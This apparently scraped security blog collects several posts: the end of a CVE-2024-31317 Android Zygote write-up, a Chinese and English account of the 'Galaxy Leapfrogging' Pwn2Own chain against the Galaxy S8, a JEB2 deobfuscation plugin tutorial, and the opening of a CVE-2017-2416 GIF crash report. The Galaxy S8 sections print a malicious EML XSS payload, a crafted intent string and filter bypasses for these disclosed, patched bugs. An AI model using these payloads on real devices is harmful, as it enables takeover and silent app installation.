可以看到我们启动了settings进程,并使其可调试注入(有jdwp线程存在)。利用JDWP进行代码注入的方式可以参考笔者之前的文章。另注,截图所示方法在12及以上的版本我们没有进行适配,读者可自行研究。

其他利用方法

目前来看,方法一简单直接可拿到任意uid的shell,但无法直接实现代码注入加载。方法二可实现代码注入加载,但需要使用jdwp协议。是否有更好的办法?

或许我们可以通过修改注入参数的类名:也就是之前的 android.app.ActivityThread ,来指向其他的gadgetClass,例如 WrapperInit.wrapperinit

protected static Runnable applicationInit(int targetSdkVersion, long[] disabledCompatChanges,
        String[] argv, ClassLoader classLoader) {
    // If the application calls System.exit(), terminate the process
    // immediately without running any shutdown hooks.  It is not possible to
    // shutdown an Android application gracefully.  Among other things, the
    // Android runtime shutdown hooks close the Binder driver, which can cause
    // leftover running threads to crash before the process actually exits.
    nativeSetExitWithoutCleanup(true);

    VMRuntime.getRuntime().setTargetSdkVersion(targetSdkVersion);
    VMRuntime.getRuntime().setDisabledCompatChanges(disabledCompatChanges);

    final Arguments args = new Arguments(argv);

    // The end of of the RuntimeInit event (see #zygoteInit).
    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);

    // Remaining arguments are passed to the start class's static main
    return findStaticMain(args.startClass, args.startArgs, classLoader);
}

似乎通过WrapperInit,我们可以控制classLoader来注入我们的class,可实现期待的效果。

private static Runnable wrapperInit(int targetSdkVersion, String[] argv) {
    if (RuntimeInit.DEBUG) {
        Slog.d(RuntimeInit.TAG, "RuntimeInit: Starting application from wrapper");
    }

    // Check whether the first argument is a "-cp" in argv, and assume the next argument is the
    // classpath. If found, create a PathClassLoader and use it for applicationInit.
    ClassLoader classLoader = null;
    if (argv != null && argv.length > 2 && argv[0].equals("-cp")) {
        classLoader = ZygoteInit.createPathClassLoader(argv[1], targetSdkVersion);

        // Install this classloader as the context classloader, too.
        Thread.currentThread().setContextClassLoader(classLoader);

        // Remove the classpath from the arguments.
        String removedArgs[] = new String[argv.length - 2];
        System.arraycopy(argv, 2, removedArgs, 0, argv.length - 2);
        argv = removedArgs;
    }
    // Perform the same initialization that would happen after the Zygote forks.
    Zygote.nativePreApplicationInit();
    return RuntimeInit.applicationInit(targetSdkVersion, /*disabledCompatChanges*/ null,
            argv, classLoader);
}

具体利用方式留待感兴趣的读者进一步实践。

总结

本文分析了CVE-2024-31317漏洞的起因,并分享了我们的利用研究和方法。这个漏洞具有类似于当年我们发现的魔形女漏洞的效果,但又各有长短。通过这个漏洞,我们可以获取任意uid的权限,近似于突破Android沙箱获取任意app的权限。

致谢

感谢Meta X Team的Tom Hebb与笔者的技术讨论 – Tom即为该漏洞的发现者,笔者与其在Meta Researcher Conference相识。

alex, bh对本文亦有贡献。

参考内容

Galaxy Leapfrogging盖乐世蛙跳: Pwning the Galaxy S8

在最近的一系列文章中,我会介绍这些年以来通过Pwn2Own和官方渠道所报告的在各种Android厂商设备中发现的各种CVE,包括通过fuzz和代码审计发现的各式各样的内存破坏漏洞和逻辑漏洞。第一篇文章将会介绍在2017年末我们用来远程攻破Galaxy S8并安装应用的利用链,一个V8漏洞来获取最开始的沙箱内代码执行,和五个逻辑漏洞来最终实现沙箱逃逸和提权来安装任意应用,demo视频可以在这里看到。

所有的漏洞均已经报告并以CVE-2018-10496,CVE-2018-10497,CVE-2018-10498,CVE-2018-10499,CVE-2018-10500来标示。本文将主要介绍整个利用链,V8漏洞将在另外的文章中介绍。

English version writeup here

Bug 0: Pwning and Examining the browser’s renderer process

通过第一个V8漏洞(CVE-2018-10496,credit to Gengming Liu and Zhen Feng),我们现在获得了在三星浏览器renderer沙箱的代码执行。众所周知这是一个isolated process。Isolated process是安卓中权限最低的进程,被传统的DAC权限和SELinux context policy所严格限制。 sbrowser processes 那么在S8上相应的policy会不会有问题?通过反编译S8的SELinux policy,我们很遗憾地发现三星在这块还是做了不错的工作,相比于原版Android没有增加任何的额外allow policy。也就是说isolated进程仍然只能访问很少量的service和IPC,更别提启动activity之类的了。 SELinux access vectors 对于想从头了解三星浏览器(或者说Chrome浏览器)沙箱架构的读者朋友,可以参考我之前在CanSecWest上的PPT,相应内容在此就不再赘述。鉴于看起来三星并没有对isolated process增加额外的供给面,我们还是需要用old-fashion的办法 – 审计浏览器IPC。三星浏览器虽然在界面上和Chrome看起来大相径庭,但本质上还是Chromium内核,对应的沙箱架构也和Chrome一致。 前事不忘后事之师。说到IPC漏洞,我们就会想到当年东京文体两开花中日合拍的…

Bug 1: 东京遗珠: CVE-2016-5197修复不完全可被绕过

老读者们应该都还记得之前东京我们用来攻破Pixel的CVE-2016-5197,具体内容可以在这里看到。回顾当年Google给出的补丁

public class ContentViewClient {
 public void onStartContentIntent(Context context, String intentUrl, boolean isMainFrame) {
 //...
@@ -144,6 +148,14 @@
         // Perform generic parsing of the URI to turn it into an Intent.
         try {
             intent = Intent.parseUri(intentUrl, Intent.URI_INTENT_SCHEME);
+
+            String scheme = intent.getScheme();
+            if (!scheme.equals(GEO_SCHEME) && !scheme.equals(TEL_SCHEME)
+                    && !scheme.equals(MAILTO_SCHEME)) {
+                Log.w(TAG, "Invalid scheme for URI %s", intentUrl);
+                return;
+            }
+
//...
        try {
            context.startActivity(intent);
        } catch (ActivityNotFoundException ex) {
            Log.w(TAG, "No application can handle %s", intentUrl);
        }
    }

Google的修复是对该IPC接受的intent string做了检查,只有特定scheme的intent才能通过,意图是只允许geo://,tel://和mailto://等隐式intent,从而禁止再传递显式string来启动activity。 然而这个修复漏掉了关键的部分:intent解析并不是只依赖于scheme部分,component参数的优先级远高于scheme解析。我们只要在之前的攻击payload头部添加”scheme=geo”,同时依然保持component,即可既绕过这个check,又继续在renderer沙箱中通过这个IPC启动任意activity,继续利用这个漏洞。如之前所述,三星浏览器是chromium内核,那么也包含相同的漏洞代码。 Jumping from renderer sandbox 当然受到parseUri参数的限制,我们构造出的intent只能含有string和其他基本类型参数,不能包含一些fancy的parcelable,这对后续攻击面选择提出了要求。这个activity需要能满足如下条件

  • 导出并会在webview中加载或执行攻击者通过intent指定的url或javascript
  • 接受基本参数类型,对parcelable没有强制检查

只要我们能在App的webview中执行任意代码,我们就获得了这个应用的权限。 [注1]

这个漏洞在报告后,Google分配了issue 804969。幸运的是,Chrome在这个漏洞被报告前的一次无关的代码refactor中,把这个IPC整个全部去掉了… 故Chrome官方认为此问题已经不存在了,但是所有下游的Chromium内核浏览器都仍然受影响。一个奇葩的操作是三星并没有为这个漏洞单独分配CVE,而是在各个bug单独的CVE之外,又分配了CVE-2018-9140/SVE-2017-10747给整个利用链。

Bug 2: The Email loves EML with a … XSS

在检索所有权限较高的应用过程中,我们发现了Samsung Email和它所导出的一个有趣的Activity。 Email activity 导出的com.samsung.android.email.ui.messageview.MessageFileView会在intent参数中接收并解析EML文件。什么是EML文件?EML文件是一个电子邮件导出格式,Samsung Email对EML文件提供了非常完善的富文本支持 – 完善到直接用Webview来加载和渲染。这当然立即勾起了一个安全研究员的兴趣:这是否意味着接下来有XSS、脚本注入,以及对于我们的场景,代码执行的可能性。 Project Zero的Natalie在CVE-2015-7893中报告了一个类似的漏洞,在此之后三星增加了一些检查。然而就像所有的漏洞修复第一次经常可能修不完一样,这个检查做的非常粗糙,粗糙到是对<script>关键字的匹配。我们只需通过img src document.onload=blablaba并动态引入script即可绕过,从而导致XSS。 这个漏洞被分配了CVE-2018-10497。

Bug 3: … 以及 file:/// 跨域

虽然在Bug 2中我们证实了这个XSS确实存在,但通过这个XSS引入js exploit并获得代码执行权限(shell)还有一些问题。典型的是EML文件本身如果太大,将会影响WebView的堆布局,进而导致堆风水的成功率降低。但是Email应用并没有让我们失望,它开启了setAllowFileAccessFromFileUrls,这意味着我们可以将js exploit拆分到单独的文件中,通过script src的方式引用,进而尽可能缩小EML文件的体积来提高V8漏洞的成功率。 一个小tip:Bug2和Bug3组合在一起,已经可以任意读取Email的私有文件了。 这个漏洞被分配了CVE-2018-10498 所以我们现在构造如下所示的样例攻击EML文件:

MIME-Version: 1.0
Received: by 10.220.191.194 with HTTP; Wed, 11 May 2011 12:27:12 -0700 (PDT)
Date: Wed, 11 May 2011 13:27:12 -0600
Delivered-To: jncjkq@gmail.com
Message-ID: <BANLkTi=JCQO1h3ET-pT_PLEHejhSSYxTZw@mail.jncjkq.com>
Subject: Test
From: Bill Jncjkq <jncjkq@gmail.com>
To: bookmarks@jncjkq.net
Content-Type: multipart/mixed; boundary=bcaec54eecc63acce904a3050f79
--bcaec54eecc63acce604a3050f77
Content-Type: text/html; charset=ISO-8859-1
<body onload=console.log("wtf");document.body.appendChild(document.createElement('script')).src='file:///sdcard/Download/exp.js'>
<br clear="all">--
Bill Jncjkqfuck

</body>
--bcaec54eecc63acce604a3050f77—

通过在EML中捆绑V8 exploit并通过intent使Email打开,我们可以成功在Email进程中执行代码获得其权限,从而正式跳出renderer进程的isolate沙箱。Email应用本身具备读取相片、通讯录的权限故到这里我们已经满足了Pwn2Own的初步要求。截至目前,我们的攻击链步骤如下:

  1. 通过http header头attachment的方式强迫浏览器将含有攻击代码的EML文件和js文件下载。在安卓上,下载路径固定于例如/sdcard/Download/test.eml/sdcard/Download/test.js中。
  2. 在获得renderer进程权限后,构造并调用brokerer IPCstartContentIntent,传入参数为intent:#Intent;scheme=geo;package=com.samsung.android.email.provider;component=com.samsung.android.email.provider/com.samsung.android.email.ui.messageview.MessageFileView;type=application/eml;S.AbsolutePath=/sdcard/Download/test.eml;end,从而唤起并exploit Email应用的webview
  3. 成功获取Email应用进程权限

Bug 4: Go beyond the Galaxy (Apps) … but blocked?

以上结果虽然能满足Pwn2Own的初步要求,但是我们的终极目标是要能够任意安装应用,而Email显然没有这个权限。我们的下一步就是需要找到一个具有INSTALL_PACKAGES权限的进程或应用来作为目标。显而易见,Galaxy Apps(三星应用商店)是一个目标。这个应用中有一个非常有潜力的Activitycom.samsung.android.sdk.ppmt.PpmtPopupActivity,非常直接地接收intent传入的url参数,没有对来源做任何校验就在webview中打开。 不过天上不会掉馅饼,显然这个Activity被保护了 – 不导出。 … 但只是对外保护,不是对内保护

Bug 5: Push SDK pushes vulnerability

在审计三星平台其他App的过程中,我们发现同样的component com.sec.android.app.samsungapps/com.samsung.android.sdk.ppmt.PpmtReceivercom.samsung.android.themestore/com.samsung.android.sdk.ppmt.PpmtReceiver出现在了多个应用,包括Galaxy Apps中。通过分析其功能我们认为这应该是一个私有push SDK,用于一些广告、活动通知相关的推送。这些receiver都是导出的,在PpmtReceiver的相关代码中,我们发现了如下有意思的代码片段:

//The Ppmt receiver seems responsible for push message, and under certain intent configuration, it routes to path 
    private void a(Context arg5, Intent arg6, String arg7) {
        if("card_click".equals(arg7)) {
            CardActionLauncher.onCardClick(arg5, arg6);
            return;
        }
//in onCardClick, it reaches CardActionLauncher, 
    private static boolean a(Context arg2, String arg3, CardAction arg4) {
        boolean v0;
        if("app".equals(arg4.mType)) {
            v0 = CardActionLauncher.b(arg2, arg3, arg4);
        }
//If the CardAction.mType is "intent", we finally reaches the following snippet:
private static boolean d(Context arg5, String arg6, CardAction arg7) {
        boolean v0 = false;
        if(TextUtils.isEmpty(arg7.mPackageName)) {
            Slog.w(CardActionLauncher.a, "[" + arg6 + "] fail to launch intent. pkg null");
            return v0;
        }
        Intent v1 = new Intent();
        v1.setPackage(arg7.mPackageName);
        if(!TextUtils.isEmpty(arg7.mData)) {
            v1.setData(Uri.parse(arg7.mData));
            v1.setAction("android.intent.action.VIEW");
        }
        if(!TextUtils.isEmpty(arg7.mAction)) {
            v1.setAction(arg7.mAction);
        }
        if(!TextUtils.isEmpty(arg7.mClassName)) {
            v1.setComponent(new ComponentName(arg7.mPackageName, arg7.mClassName));
        }
        if(arg7.mExtra != null && !arg7.mExtra.isEmpty()) {
            v1.putExtras(arg7.mExtra);
        }
        CardActionLauncher.a(v1, arg6);
        try {
            switch(arg7.mComponent) {
                case 1: {
                    int v2 = 268435456;
        try {
            v1.setFlags(v2);
            arg5.startActivity(v1);
            goto label_78;
    //….

通过这段代码,我们可以通过发送broadcast以任意参数指定任意Activity启动,当然包括Galaxy Apps内部未导出的Activity。我们通过这个漏洞来间接启动之前提到的PpmtPopupActivity,进而加载含有JS exploit的攻击页面,从而获得Galaxy Apps的权限(shell),利用它的INSTALL_PACKAGES权限来安装任意应用。一个有意思的地方是,这个Activity本身并没有直接的UI指向它,所以猜测这能是一个废弃的SDK,但忘记被去掉了。 这个漏洞被分配了CVE-2018-10499.

Chaining it altogether

Whole escape chain 这就是我们攻破Galaxy S8的完整利用链。所有的漏洞均已在当时及时报告给了厂商并得到了修复。鉴于这个漏洞利用链每一步都是在寻找更高权限的进程或应用来作为跳板进行攻击的特点,我们将它命名为”Galaxy Leapfrogging” (盖乐世蛙跳)。完成攻破的Galaxy S8为当时的最新版本samsung/dreamqltezc/dreamqltechn:7.0/NRD90M/G9500ZCU1AQF7:user/release-keys.

在此感谢Samsung Mobile Security在修复漏洞中作出的工作,和腾讯科恩实验室以及科恩实验室的前同事们。 接下来还会有其他各大Android Vendor的各式CVE writeup,请保持关注。Weibo: flanker_017 .

注1: isolated webview的当前状态

从Android O开始,所有的应用在缺省状态下均在isolated context运行webview,也就意味着攻破了webview不再意味着直接获取应用的权限,从而极大地阻止了我们的蛙跳战术。但部分用户量非常大的App(在此不直接点名),使用了自己编译的webview或第三方通用浏览服务提供的webview,例如X5/tbs和ucwebcore,而截至目前这些webview即使在最新版本Android上面仍然没有启用isolated限制,也意味着他们仍然是蛙跳战术巨大而明显的目标。

Galaxy Leapfrogging: Pwning the Galaxy S8

Hello everyone, long time no see! Now begins a series of blog posts about bugs I found before and now on Android vendors, including memory corruption and logical bugs, reported and fixed via Pwn2Own or official bug channel.

This very first post is about the chain of bugs we used in the end of 2017 to get remote arbitrary application install via clicking malicious link on newest Galaxy S8 at that time, prepared for Mobile Pwn2Own, with a V8 bug to get initial code execution in sandbox and 5 logical bugs to finally get arbitrary application install, with demo video. All bugs were reported and assigned CVE-2018-10496, CVE-2018-10497, CVE-2018-10498, CVE-2018-10499, CVE-2018-10500, CVE-2018-9140. The detail of the V8 bug will be covered in another post.

(Chinese version here)

Bug 0: Pwning and Examining the browser’s renderer process

Using the first V8 bug (CVE-2018-10496, credit to Gengming Liu and Zhen Feng of KeenLab), we have get initial code execution in the Samsung Internet Browser isolated process. Isolated process is heavily restricted in android, both in SElinux context and traditional DAC permission.

sbrowser processes

Doing a quick check on the SELinux profile reveals Samsung doing a good job. No additional service attack surface revealed. The sandbox process is still limited to access very few services and IPCs, e.g. starting activity is prohibited.

SELinux access vectors

For those who are interested in the Chrome browser sandbox architecture, you can refer to my CanSecWest presentation. Given Samsung did not open loophole for us to directly exploit from isolated context, we fall back to the good old ways to attack the browser IPC.

The Samsung Internet Browser has a quite different UI than Chrome but its core is still largely based on Chrome, so as the sandbox architecture. Looking over the past always gives us insight over future, which is quite true for ….

Bug 1: The Tokyo treasure: incomplete fix for CVE-2016-5197

Old readers will remember the good old Chrome IPC bug we used to pwn Pixel, as described here. Looking back into the fix…:

https://chromium.googlesource.com/chromium/src.git/+/abd993bfcdc18d41e5ea0f34312543bd6dae081e%5E%21/#F0

public class ContentViewClient {
 public void onStartContentIntent(Context context, String intentUrl, boolean isMainFrame) {
 //...
@@ -144,6 +148,14 @@
         // Perform generic parsing of the URI to turn it into an Intent.
         try {
             intent = Intent.parseUri(intentUrl, Intent.URI_INTENT_SCHEME);
+
+            String scheme = intent.getScheme();
+            if (!scheme.equals(GEO_SCHEME) && !scheme.equals(TEL_SCHEME)
+                    && !scheme.equals(MAILTO_SCHEME)) {
+                Log.w(TAG, "Invalid scheme for URI %s", intentUrl);
+                return;
+            }
+
//...
        try {
            context.startActivity(intent);
        } catch (ActivityNotFoundException ex) {
            Log.w(TAG, "No application can handle %s", intentUrl);
        }
    }

Google tries to fix the vulnerability by adding scheme check, restricting the string IPC accepts so that we cannot use this IPC to start arbitrary explicit activity anymore.

However, a crucial part is missing: intent resolution does not depend solely on scheme part. As long as the incoming argument contains component keyword, which will be parsed first, we can still use this IPC to send an explicit intent – starting arbitrary exported activity. So trivially adding "scheme=geo" will bypass this fix. Samsung Internet Browser shares the same source so it’s also affected.

Jumping from renderer sandbox

Of course due to the limitation of parseUri, we can only craft an Intent with string arguments (no fancy parcelable possible). Now we need to find a privileged application with activity exported and accepts and happily opens malicious URL or execute malicious Javascript in it’s webview.[1] As long as we pwned the webview, we pwned the application.

This bug is also tracked by Google under b/804969. Since in an unrelated refactor Chrome removed this IPC completely, this issue does not affect newest Chrome but still affect all downstream browsers which shares this code. Samsung does not assign a particular CVE for this issue but assigned the whole chain CVE-2018-9140/SVE-2017-10747.

Bug 2: The Email loves EML with a … XSS

Searching through the privileged applications we find Samsung Email.

Email activity

The exported com.samsung.android.email.ui.messageview.MessageFileView activity accepts eml file. What’s an eml file? EML is a dump format of email and seems Samsung Email is kindly enough to provide rich-text support for EML files – by rendering it in a Webview.

Of course it immediately pops up questions for a security researcher, XSS, script injection, etc. In our case, it means code execution. In CVE-2015-7893 Natalie had pointed out a similar issue so checks were added, but far from enough. It still does not have sufficient input validation in the EML file except simple filtering for <script>. We can just inject document.onload=blablaba, and construct script element on the fly, to bypass the fix, and get arbitrary script execution.

This issue is assigned CVE-2018-10497.

Bug 3: … And file:/// crossdomain

Although we have had an exploit theory in step 2, bundling lots of javascript exploit in the EML file itself creates trouble in heap fengshui and ruins our success rate. Luckily the webview configuration in Email allows us to access file:/// from file domain (i.e. setAllowFileAccessFromFileUrls), which enables us to shift the exploit to a single js file and minimizing the EML file, largely improving stability. Bonus point: this vulnerability combined with Bug 2 alone already allows us to read Email’s private file.

This issue is assigned CVE-2018-10498.

So now the EML file becomes like:

MIME-Version: 1.0
Received: by 10.220.191.194 with HTTP; Wed, 11 May 2011 12:27:12 -0700 (PDT)
Date: Wed, 11 May 2011 13:27:12 -0600
Delivered-To: jncjkq@gmail.com
Message-ID: <BANLkTi=JCQO1h3ET-pT_PLEHejhSSYxTZw@mail.jncjkq.com>
Subject: Test
From: Bill Jncjkq <jncjkq@gmail.com>
To: bookmarks@jncjkq.net
Content-Type: multipart/mixed; boundary=bcaec54eecc63acce904a3050f79

--bcaec54eecc63acce604a3050f77
Content-Type: text/html; charset=ISO-8859-1

<body onload=console.log("wtf");document.body.appendChild(document.createElement('script')).src='file:///sdcard/Download/exp.js'>
<br clear="all">--<br>Bill Jncjkqfuck<br>
</body>
--bcaec54eecc63acce604a3050f77--

By exploiting our V8 js bug bundled in the malicious EML again, we can get code execution in Email application, officially jumping out of sandbox. What is nice for us is that the Email application holds lots of precious application like capable of accessing photos, contacts, etc, which already meets Pwn2Own standard.

Given this attack surface, our sandbox-escaping exploit chain now contains the following steps:

  1. Force the browser to download the EML file with exploit code bundled. The download path is predictable like /sdcard/Download/test.eml and /sdcard/Download/exp.js
  2. In the compromised renderer process, craft an IPC with content intent:#Intent;scheme=geo;package=com.samsung.android.email.provider;component=com.samsung.android.email.provider/com.samsung.android.email.ui.messageview.MessageFileView;type=application/eml;S.AbsolutePath=/sdcard/Download/test.eml;end , calling up and exploiting the email application.
  3. We now owns the Email process privilege

Bug 4: Go beyond the Galaxy (Apps) … but blocked?

To achieve the ultimate goal of installing arbitrary application, our next step is trying to pwn a process with INSTALL_PACKAGES privilege. An obvious target is the Galaxy Apps, which is the app store for Samsung phones.

Digging into the APK file we find a promising Activity named com.samsung.android.sdk.ppmt.PpmtPopupActivity, which directly accepts and opens URL in it’s webview from intent. However this obvious target is of course protected.

…protected from other process but not protected from inside.

This issue is assigned CVE-2018-10500.

Bug 5: Push SDK pushes vulnerability

On auditing the Samsung platform apps, the same component com.sec.android.app.samsungapps/com.samsung.android.sdk.ppmt.PpmtReceiver and com.samsung.android.themestore/com.samsung.android.sdk.ppmt.PpmtReceiver appears many times. Turns out it’s an SDK responsible for campaign message pushing and processing. In PpmtReceiver ‘s source code, we find the following interesting snippets:

//The Ppmt receiver seems responsible for push message, and under certain intent configuration, it routes to path 

    private void a(Context arg5, Intent arg6, String arg7) {
        if("card_click".equals(arg7)) {
            CardActionLauncher.onCardClick(arg5, arg6);
            return;
        }

//in onCardClick, it reaches CardActionLauncher, 

    private static boolean a(Context arg2, String arg3, CardAction arg4) {
        boolean v0;
        if("app".equals(arg4.mType)) {
            v0 = CardActionLauncher.b(arg2, arg3, arg4);
        }

//If the CardAction.mType is "intent", we finally reaches the following snippet:

private static boolean d(Context arg5, String arg6, CardAction arg7) {
        boolean v0 = false;
        if(TextUtils.isEmpty(arg7.mPackageName)) {
            Slog.w(CardActionLauncher.a, "[" + arg6 + "] fail to launch intent. pkg null");
            return v0;
        }

        Intent v1 = new Intent();
        v1.setPackage(arg7.mPackageName);
        if(!TextUtils.isEmpty(arg7.mData)) {
            v1.setData(Uri.parse(arg7.mData));
            v1.setAction("android.intent.action.VIEW");
        }

        if(!TextUtils.isEmpty(arg7.mAction)) {
            v1.setAction(arg7.mAction);
        }

        if(!TextUtils.isEmpty(arg7.mClassName)) {
            v1.setComponent(new ComponentName(arg7.mPackageName, arg7.mClassName));
        }

        if(arg7.mExtra != null && !arg7.mExtra.isEmpty()) {
            v1.putExtras(arg7.mExtra);
        }

        CardActionLauncher.a(v1, arg6);
        try {
            switch(arg7.mComponent) {
                case 1: {
                    int v2 = 268435456;
        try {
            v1.setFlags(v2);
            arg5.startActivity(v1);
            goto label_78;
    //....

We can see it’s possible to start an activity with arbitrary arguments/components fully controlled by us, and Galaxy Apps is one of the users of Ppmt push sdk, exposing the PpmtReceiver. We use this vulnerability to indirectly start PpmtPopupActivity, PpmtPopupActivity will happily load any URL we passed in. Reusing the JS exploit, we again get a shell in Samsung Appstore, which has INSTALL_PACKAGE permission, allowing us to install any rogue application. An interesting point is that the activity does not have any explicit UI pointing to it so I guess it’s some common SDK that forgot to be removed.

This issue is assigned CVE-2018-10499.

Chaining it altogether

Combining it all together we have the following figure:

Whole escape chain

So this is how we pwned the Galaxy S8. Demo video has been posted at https://www.youtube.com/watch?v=UXLWk2Ya_6Q&feature=youtu.be at that time. All issues have been fixed by vendor.

Due to the nature of this bug chain, we named it "Galaxy Leapfrogging" as each step of the chain is to find a new app to jump & pwn to gain additional privilege. All vulnerabilities have been tested on the newest Galaxy S8 at that time, samsung/dreamqltezc/dreamqltechn:7.0/NRD90M/G9500ZCU1AQF7:user/release-keys.

We would like to thank Samsung Mobile Security for their work on fixing these vulnerabilities, and I’d like to thank all former colleagues at KeenLab for our work together and the good old days.

Next

Following posts will be about other various security bugs I found on those Android vendors, stay tuned! My twitter: https://twitter.com/flanker_hqd

Note: Current status of isolated Webview

[1] Beginning with Android O, all apps by default runs their system webview in isolated context, which greatly stops "Leapfrogging". However, some apps are still running their own webview core like X5 and tbs in the same context, which still poses great risks and remains an attack surface

JEB2插件教程之一

JEB2发布有段时间了,相比于JEB1来说功能强大了很多,但是API也发生了巨大的变化,不仅是定义上也包括架构上,这给我们移植或者是新编写插件带来了一定不便, 目前也还没看到详细一些的API分析教程。本文以一个具体的应用分析为例,解释如何编写一个JEB2中处理混淆应用的插件,来实现自动识别和重命名。

案例

我们的样例APK是一个采用了比较剑走偏锋混淆的东西,其中绝大部分类名、函数名、field名都被替换成了包含lIi的字符串,如下截图所示:

obfuscated1 obfuscated2

这种给人工分析时追踪函数调用带来了不便,因为这些字符串字母长的都比较像,所以我们需要写一个JEB脚本来自动化重命名这些item。我们的逻辑如下:

  • 对于类:递归寻找它的父类和实现的接口。如果父类和接口包含了有意义的名字:例如SDK类Activity、不能混淆的类名MainActivity,以此为基础进行重命名
  • 对于Field:根据该Field的类型,重命名其名字
  • 对于函数:根据该函数的参数类型,重命名其名字

JEB2的API架构

由于JEB2试图成为像IDA那样的universal disassembler,其架构多了很多包装层。对于APK分析来说,关键的部分关系如下所示:

IProjectUnit -> ICodeUnit -> IJavaSourceUnit

IProjectUnit代表了整个workspace,一般我们只会使用project[0]

>>> engctx.getProjects()
[Project:{/xxx/xxx.apk.jdb2}]

ICodeUnit则代表了一个project中所有的可解析部分,如下面我们提到的,因为JEB2为各种架构都提供了统一包装层,ICodeUnit不再仅仅是dex或者jar,而还会包括了libraries中的各种native Library。

>>> units = RuntimeProjectUtil.findUnitsByType(prj, ICodeUnit, False)
>>> map(lambda x: print(x.name), units)
[u'Bytecode', u'arm64 image', u'arm image', u'arm image', u'mips image', u'x86 image', u'x86_64 image']

其中Bytecode项是对应的dex体. 其对应的ICodeUnit代表了整个dex, 已经提供了基本的类型信息,例如Class, Type, Method, Field, Package 使用者可以通过ICodeUnit.getClass/getMethod/getField获取到对应的ICodeClass/ICodeMethod/ICodeField. 但是这个层级的unit并没有提供class hierchy信息和具体的源代码AST信息,故我们还需要IJavaSourceUnit.

IJavaSourceUnit代表的是执行过反编译之后生成的Java源代码体,提供了更加丰富和细节的Java代码信息供使用. 其对应的AST元素为IJavaClass/IJavaMethod等等. 通过decompiler.decompile(icodeclass.getAddress())获取IJavaSourceUnit, 通过IJavaSourceUnit.getClassElement获取IJavaClass.

需要强调的是, ICodeUnit对应的是整个dex, 而IJavaSourceUnit对应的是单个反编译出的类.

自订操作

在JEB2中,用户操作(自定义操作)被统一包装在ActionContext类之下,类似于transaction的形势.API使用者提交各种ActionContext,并检查返回值是否成功.一个典型的重命名操作如下:

>>> actCntx = ActionContext(self.targetUnit, Actions.RENAME, clz.getItemId(), clz.getAddress())
    actData = ActionRenameData()
    actData.setNewName(newName)
    if codeUnit.prepareExecution(actCntx, actData):
        codeUnit.executeAction(actCntx, actData)

值的注意的是,这里的clz对象均为ICodeUnit调用getClass所查询出的ICodeClass类,而不是IJavaSourceUnit对应的IJavaClass. ActionContext作用的对象也是代表整个dex的ICodeUnit.

除了重命名操作之外, ActionContext还包括了COMMENT, CONVERT, CREATE_PACKAGE, DELETE, MOVE_TO_PACKAGE, QUERY_OVERRIDES, QUERY_TYPE_HIER, QUERY_XREFS, RENAME等操作, 其实就是我们在UI中右键所能执行的操作. 读者可能要问, 像QUEYR_TYPE_HIER这种操作, 通过IJavaSource解析AST不是也可以做? 我认为确实是这样, 这里可能还是为了给不同语言提供一个统一的抽象接口. 当然QUERY_XREFS顾名思义是获取到对应的引用, 这方便我们做一些callgraph的查询.

案例解析

如文章开头所示, 我们的目的是根据被混淆item的基类信息和类型信息/参数信息对其重命名. 主要逻辑如下:

for clz in codeunit.getClasses():
    if isObfuscated(clz):
        name = determineNameFromHierchy(clz) --->1
        rename(clz, name)
for field in codeUnit.getFields():
    if isObfuscated(field):
        name = determineNameByFieldType(field)
        rename(field, name)
for mtd in codeUnit.getMethods():
    if isObfuscated(mtd):
        name = determineNameByArgsType(field)
        rename(field, name)

例如, class IiIiIiIi是继承于class iIiIiIiI, 而iIiIiIiI又继承于Activity/实现了onClickListener, 那么我们就可以使用Activity/onClickListener作为基准重命名两个被混淆的类. 这里的关键在于一个递归获取基类的函数, 如下所示:

'''
clzElement is ICodeClass retrieved from ICodeUnit.getClass()
'''
def tryDetermineGodeName(self, clzElement):
    javaunit = self.decomp.decompile(clzElement.getAddress())
    clzElement = javaunit.getClassElement()
    #now clzElement is a IJavaClass
    if not isFuckingName(clzElement.getName()):
    #this is a non-obfuscated name, just return it
    return clzElement.getName()
    ssupers = clzElement.getImplementedInterfaces()
    supers = []
    supers.extend(ssupers)
    # do not directly append on returned list!
    superSig = clzElement.getSupertype().getSignature()
    supers.append(clzElement.getSupertype())
    for superItem in supers:
    sig = superItem.getSignature()
    if sig == "Ljava/lang/Object;":
        #extend from java/lang/Object gives us zero info
        #so try next
        continue
    if not isFuckingName(sig):
        #return first non-obfuscated name
        return sig
    resolvedType = self.targetUnit.getClass(sig)
    if resolvedType:
        #this is a concret class
        guessedName = self.tryDetermineGoodName(resolvedType)
        if guessedName:
        return guessedName
    else:
        #this is a SDK class
        return sig
    #cannot determine name from its supers, return None
    return None

相对来讲, method和field的重命名就简单了很多, 如附代码所示, 在此不再赘述.

这里还有一个小细节, 因为需要操作的类比较多, 我们将插件定义为后台运行, 这样可以不阻塞UI, 同时获得更好的log效果.

重命名后的效果如下:

deobfuscated 可以看到我们恢复出了较多可读信息. 完整代码: https://gist.github.com/flankerhqd/ca92b42f1f796763e5d1f8cd73247a30

总结

JEB2的API相对于JEB1组织层次更多, 也就没那么直观. 但有了初步了解之后, 也可以很快掌握使用方法. 测试版本: JEB2 2.3.4

Ref:

  1. http://blog.csdn.net/weixin_37556843/article/details/66476295
  2. https://www.pnfsoftware.com/jeb2/apidoc/reference/packages.html
  3. https://groups.google.com/forum/#!topic/jeb-decompiler

CVE-2017-2416 GIF表情引发的远程代码执行

ImageIO
适用于:iPhone 5 及更新机型、iPad 第 4 代及更新机型、iPod touch 第 6 代及更新机型
影响:处理恶意制作的图像可能会导致任意代码执行
说明:内存损坏问题已通过改进输入验证得到解决。
CVE-2017-2416:腾讯科恩实验室的 @flanker_hqd

(For English version see https://blog.flanker017.me/cve-2017-2416-gif-remote-exec/)

Abstract

前段时间偶然发现了一个ImageIO.framework中的图像解析漏洞,通过发送这个恶意图片,可以在任何有图片显示功能的应用中直接触发该漏洞,特别是各种IM应用(例如iMessage, Telegram, Slack, iMessage和国产流行IM,以及邮件应用例如Mail, Outlook, Inbox, Gmail,还有一些想做IM的金融应用例如alipay等),导致应用崩溃。在精心布置的内存布局下还有远程代码执行的可能。

让问题变得更蛋疼的是,很多客户端通常会在启动的时候再去尝试恢复加载之前的记录,也包括图片,这导致每次启动的时候该漏洞都会被触发,自动地成为了一个可持续的漏洞 – -b 例如iMessage和Mail即是如此。通过iMessage给一个没有升级到10.12.4的人发送攻击图片,其iMessage就再也打不开了。

DEMO videos

第一个视频展示了发送一条恶意imessage就导致对方崩溃的过程

